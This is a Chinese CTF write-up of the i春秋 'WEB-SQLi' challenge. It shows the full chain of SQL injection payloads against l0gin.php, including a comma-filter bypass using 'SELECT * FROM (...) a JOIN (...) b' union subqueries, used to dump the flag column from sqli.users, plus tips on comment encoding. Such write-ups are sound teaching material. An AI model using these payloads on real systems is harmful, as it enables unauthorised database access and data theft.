i春秋—WEB-SQLi

发布于 2024-02-07  165 次阅读


过程

题目内容:后台有获取flag的线索
1

有一个重定向的包,查看里面的信息,可以获取到正确的注入路径(题目页面源代码那个路径是不对的,是个错误的引导)
2

进入页面
payload:l0gin.php?id=1
3

进行SQL注入
payload:l0gin.php?id=0 UNION SELECT 1,2
4

发现是逗号截断,使用mysql的子查询进行绕过SELECT * FROM (a语句) a JOIN (b语句) b
palylod:l0gin.php?id=0' UNION SELECT * FROM (SELECT version()) a JOIN (SELECT database()) b %23
5

发现得到数据库是sqlimysql是高版本
6

数据库的表是名是users
7

获取到表的字段id,username,flag_9c861b688330
playload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(flag_9c861b688330) FROM sqli.users) a JOIN (SELECT database()) b %23
获取到flag
8

总结

  1. 后面的注释要用%23,不要用#。下面可以看见注释用的#号没了
    9
  2. 使用了逗号截断可以用SELECT * FROM (a语句) a JOIN (b语句) b进行注入
  3. 注入的时候要注入闭合
  4. 联合查询的前面使用的数字不能是可以有数据的数字,不如无法查询union后面的句子